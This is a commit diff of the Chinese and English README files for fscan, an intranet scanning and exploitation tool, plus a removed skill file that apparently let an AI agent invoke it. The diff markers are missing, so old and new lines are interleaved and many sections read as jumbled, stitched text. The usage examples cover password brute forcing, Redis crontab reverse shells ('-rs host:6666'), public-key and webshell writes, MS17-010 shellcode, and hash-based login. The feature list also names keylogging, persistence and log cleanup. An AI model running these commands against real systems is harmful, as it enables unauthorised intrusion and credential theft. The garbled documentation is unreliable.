- **性能基准测试** - AdaptivePool、服务探测策略benchmark
- **ResultBuffer测试** - 去重和完整度评分验证
### 工程化改进
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
- **README重写** - 中英文文档全面更新
- **代码格式统一** - gofmt/goimports规范化
## 快速开始
## 编译说明
```bash
# 扫描C段
./fscan -h 192.168.1.1/24
# 基础编译
go build -ldflags="-s -w" -trimpath main.go
# 指定端口
./fscan -h 192.168.1.1 -p 22,80,443,3389
# 仅存活探测
./fscan -h 192.168.1.1/24 -ao
# 禁用爆破
./fscan -h 192.168.1.1/24 -nobr
# Web扫描
./fscan -u http://192.168.1.1
# 本地插件
./fscan -local systeminfo
# Hash碰撞
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
# Redis写公钥
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
# UPX压缩(可选)
upx -9 fscan
```
## 编译
```bash
# 标准编译
go build -ldflags="-s -w" -trimpath -o fscan main.go
# 带Web管理界面
go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
```
## 安装
## 系统安装
```bash
# Arch Linux
yay -S fscan-git
# 或
paru -S fscan-git
```
## 运行截图
# 0x04 运行截图
`fscan.exe -h 192.168.x.x`
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5认证代理)
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
![](image/netbios1.png)
`fscan.exe -h 192.0.0.0/8 -m icmp`
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
![img.png](image/live.png)
新的展示
![2.0-1](image/2.0-1.png)
![2.0-2](image/2.0-2.png)
## 路线图
# 0x05 免责声明
### 更新计划
- **更新周期** - 每月一次版本发布
- **前两周** - 新功能开发与特性更新
- **后两周** - Bug修复与代码整合
- **欢迎PR** - 期待您的贡献!
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
### SDK & Agent 集成
- 扩展SDK能力,完善端侧Agent嵌入支持
- 断点续扫、带宽级限速、内存水位控制
- 更多Agent场景的集成示例
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
### 插件生态
- 持续扩展服务插件覆盖范围
- 为每个服务插件开发更多漏洞检测和利用能力
- 保持插件API向后兼容,确保旧版本POC持续可用
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
### Fscan-lite
- C语言重写的轻量版本
- 更小的体积,更少的依赖
- 支持更多嵌入式/受限环境
- 目录: [fscan-lite](./fscan-lite)
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
### Fscan-lab
- 内网渗透测试靶场环境
- 覆盖所有fscan支持的漏洞场景
- 开发测试与功能验证平台
- 新手学习与技能练习环境
- 目录: [fscan-lab](./fscan-lab)
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
## 免责声明
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
## 404StarLink
# 0x06 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式
## Star趋势
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
# 0x07 Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## 捐赠
# 0x08 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
[请作者喝饮料](image/sponsor.png)
# 0x09 安全培训
![img.png](image/5.png)
学网络安全,就选玲珑安全!专业漏洞挖掘,精准定位风险;助力技能提升,塑造安全精英;玲珑安全,为您的数字世界保驾护航!
在线免费学习网络安全,涵盖src漏洞挖掘,0基础安全入门。适用于小白,进阶,高手: https://space.bilibili.com/602205041
玲珑安全往期学员报喜🎉: https://www.ifhsec.com/list.html
玲珑安全漏洞挖掘培训学习联系微信: linglongsec
## 参考
# 0x10 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
- https://github.com/Adminisme/ServerScan
- https://github.com/netxfly/x-crack
- https://github.com/hack2fun/Gscan
- https://github.com/k8gege/LadonGo
- https://github.com/jjf012/gopoc
- https://github.com/chainreactors/gogo
- https://github.com/0x727/FingerprintHub
- https://github.com/killmonday/fscanx
[url-docen]: README_EN.md
+214 -240
View File
@@ -1,286 +1,260 @@
# Fscan
# fscan
[中文][url-doczh]
[中文](README.md)
# 1. Introduction
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
Comprehensive intranet scanning tool for automated vulnerability assessment.
# 2. Functions
1.Information collection:
* Survival detection(icmp)
* Port scanning
**Version**: 2.2.0-rc
2.Blasting:
* Various service blasting(ssh、smb、rdp, etc.)
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
## Features
3.System information, vulnerability scanning:
* Netbios detection, domain control identification
* Collect NIC information
* High Risk Vulnerability Scanning(ms17010, etc.)
### Scanning
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
4.Web detection:
* Webtitle detection
* Web fingerprinting (cms, oa framework, etc.)
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
### Brute Force
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
- **SSH Key Login** - Private key authentication
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
5.Exploit:
* Write redis public key and scheduled tasks
* Excute ssh command
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
### Vulnerability Detection
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
- **POC Scanning** - Integrated web POC, Xray POC format support
- **DNSLog** - DNSLog out-of-band detection
6.Others:
* Save ouput result
### Exploitation
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
- **SSH Command Exec** - Auto command execution after authentication
### Local Modules
- **Info Gathering** - System info, environment variables, DC info, NIC config
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
- **AV Detection** - Identify installed security software
- **Trace Cleanup** - Log cleaning tool
### Input/Output
- **Target Input** - IP/CIDR/domain/URL, batch file import
- **Exclusion Rules** - Exclude specific hosts, ports
- **Output Formats** - TXT/JSON/CSV multi-format output
- **Silent Mode** - No banner, no progress bar, no color output
### Network Control
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
- **Rate Control** - Rate limiting, max packet count control
- **Timeout Control** - Port/Web/Global timeout independent config
- **Concurrency** - Port scan threads, service scan threads independent config
### Extensions
- **Web Management UI** - Visual scan task management (build with -tags web)
- **Lab Environment** - Built-in Docker lab for testing and learning
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
- **Multi-language** - Chinese/English interface (-lang zh/en)
- **Performance Stats** - JSON format performance report (-perf)
## v2.1.0 Changelog
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
### Architecture Refactoring
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
### Performance Optimization
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
### New Features
- **Web Management UI** - Visual scan task management with responsive layout and progress display
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
- **Universal Version Extractor** - Auto-extract service version information
- **Fingerprint Priority Sorting** - Smart sorting of match results
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
- **Port Scan Retry** - Automatic retry mechanism for failed scans
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
- **SMB/FTP File Listing** - Auto-list files on anonymous access
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
- **TXT Output URL Summary** - Append web service URL list for batch testing
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
- **Default Port Expansion** - Extended from 62 to 133 common ports
- **Full Port Scan Support** - Expanded port range limits
- **HTTP Redirect Control** - Configurable redirect count limit
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
### Bug Fixes (120 items, key fixes listed)
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
- **JSON Output Format** - Fixed output format errors (#446)
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
- **MySQL Connection Validation** - Changed to information_schema for validation
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
- **ICMP Race Condition** - Fixed concurrent scan race issues
- **IPv6 Address Format** - Fixed 4 address formatting issues
- **POC High Concurrency Hang** - Fixed Context propagation issues
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
- **SOCKS5 Echo Issue** - Added proxy connection validation
- **Service Probe Leak** - Fixed connection not properly closed
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
- **Scan Duration Display** - Fixed completion time showing as 0
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
### Test Enhancements (20 items)
- **Unit Tests** - Core module coverage at 74-100%
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
- **CLI Parameter Tests** - Command-line argument parsing verification
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
### Engineering Improvements
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
- **README Rewrite** - Comprehensive Chinese and English documentation update
- **Code Format Unification** - gofmt/goimports standardization
## Quick Start
```bash
# Scan C-class network
./fscan -h 192.168.1.1/24
# Specify ports
./fscan -h 192.168.1.1 -p 22,80,443,3389
# Alive detection only
./fscan -h 192.168.1.1/24 -ao
# Disable brute force
./fscan -h 192.168.1.1/24 -nobr
# Web scanning
./fscan -u http://192.168.1.1
# Local plugin
./fscan -local systeminfo
# Hash authentication
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
# Redis write pubkey
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
# 3. Instructions
Getting Started
```
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/16
```
## Build
Advanced
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
fscan.exe -hf ip.txt (Import target from file)
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
```
Compile command
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (Optional, compressed)
```
Installation for arch users
`yay -S fscan-git or paru -S fscan-git`
```bash
# Standard build
go build -ldflags="-s -w" -trimpath -o fscan main.go
# With Web UI
go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
Full parameters
```
Usage of ./fscan:
-br int
Brute threads (default 1)
-c string
exec command (ssh|wmiexec)
-cookie string
set poc cookie,-cookie rememberMe=login
-debug int
every time to LogErr (default 60)
-dns
using dnslog poc
-domain string
smb domain
-full
poc full scan,as: shiro 100 key
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hash string
hash
-hf string
host file, -hf ip.txt
-hn string
the hosts no scan,as: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nobr
not to Brute password
-nopoc
not to scan web vul
-np
not to ping
-num int
poc rate (default 20)
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
add port base DefaultPorts,-pa 3389
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
-pn string
the ports no scan,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic
-pocpath string
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwda string
add a password base DefaultPasses,-pwda password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-sc string
ms17 shellcode,as -sc add
-silent
silent scan
-socks5 string
set socks5 proxy, will be used in tcp connection, timeout setting will not work
-sshkey string
sshkey file (id_rsa)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user
-userf string
username file
-wmi
start wmi
-wt int
Set web timeout (default 5)
```
## Install
# 4. Demo
```bash
# Arch Linux
yay -S fscan-git
```
## Screenshots
`fscan.exe -h 192.168.x.x`
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5 proxy with authentication)
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
![](image/netbios1.png)
`fscan.exe -h 192.0.0.0/8 -m icmp`
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
![img.png](image/live.png)
![2.0-1](image/2.0-1.png)
# 5. Disclaimer
![2.0-2](image/2.0-2.png)
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
## Roadmap
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
### Release Schedule
- **Release Cycle** - Monthly release
- **First 2 Weeks** - New features and enhancements
- **Last 2 Weeks** - Bug fixes and code integration
- **PRs Welcome** - Contributions are appreciated!
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
### Plugin Ecosystem
- Continuously expand service plugin coverage
- Develop more vulnerability detection and exploitation capabilities for each service plugin
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
### Fscan-lite
- Lightweight version rewritten in C
- Smaller binary size, fewer dependencies
- Support for embedded/restricted environments
- Directory: [fscan-lite](./fscan-lite)
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
### Fscan-lab
- Intranet penetration testing lab environment
- Covers all vulnerability scenarios supported by fscan
- Development testing and feature verification platform
- Learning and practice environment for beginners
- Directory: [fscan-lab](./fscan-lab)
## Disclaimer
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
## 404StarLink
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
## Star History
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## Donate
# 8. Donation
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
[Buy the author a drink](image/sponsor.png)
# 9. Reference links
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
## References
- https://github.com/Adminisme/ServerScan
- https://github.com/netxfly/x-crack
- https://github.com/hack2fun/Gscan
- https://github.com/k8gege/LadonGo
- https://github.com/jjf012/gopoc
- https://github.com/chainreactors/gogo
- https://github.com/0x727/FingerprintHub
- https://github.com/killmonday/fscanx
# 10. Dynamics
2022/11/19 Add hash collision, wmiexec echo free command execution function
2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
2022/1/11 Add oracle password explosion.
2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
2021/4/22 Modify webtitle module and add gbk decoding.
2021/4/21 Add netbios detection and domain control identification functions.
2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-doczh]: README.md
-304
View File
@@ -1,304 +0,0 @@
---
name: fscan-agent
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
argument-hint: <目标IP/网段> [附加参数]
allowed-tools: Bash, Read, Agent
---
# Fscan AI Agent Skill
## 工具概述
Fscan 是一款内网综合扫描工具,功能包括:
- 主机存活探测(ICMP / TCP
- 端口扫描与服务识别
- 漏洞检测(MS17-010、Redis 未授权等)
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
- Web 指纹识别与 POC 扫描
- NetBIOS / SMB 信息收集
- 本地信息收集(杀软检测、系统信息等)
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`
## 调用格式
```bash
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
fscan -h <目标> -silent [其他参数]
# 解析输出
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
```
## 核心参数
### 目标指定
| 参数 | 说明 | 示例 |
|------|------|------|
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
| `-ep` | 排除端口 | `-ep 25,110` |
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
| `-u` | 指定 URLWeb 扫描) | `-u https://example.com` |
| `-uf` | URL 文件 | `-uf urls.txt` |
### 扫描控制
| 参数 | 说明 | 默认值 |
|------|------|--------|
| `-m` | 扫描模式 | `all` |
| `-t` | 端口扫描线程数 | `600` |
| `-mt` | 模块线程数 | `20` |
| `-time` | 连接超时(秒) | `3` |
| `-gt` | 全局超时(秒) | `180` |
| `-np` | 跳过存活检测 | `false` |
| `-ntp` | 禁用 TCP 补充探测 | `false` |
| `-ao` | 仅存活检测 | `false` |
| `-nobr` | 禁用暴力破解 | `false` |
| `-full` | 全量 POC 扫描 | `false` |
| `-max-retries` | 最大重试次数 | `1` |
### 认证
| 参数 | 说明 |
|------|------|
| `-user` | 用户名 |
| `-pwd` | 密码 |
| `-usera` | 追加用户名 |
| `-pwda` | 追加密码,支持逗号或空格分隔多个值 |
| `-userf` | 用户名字典文件 |
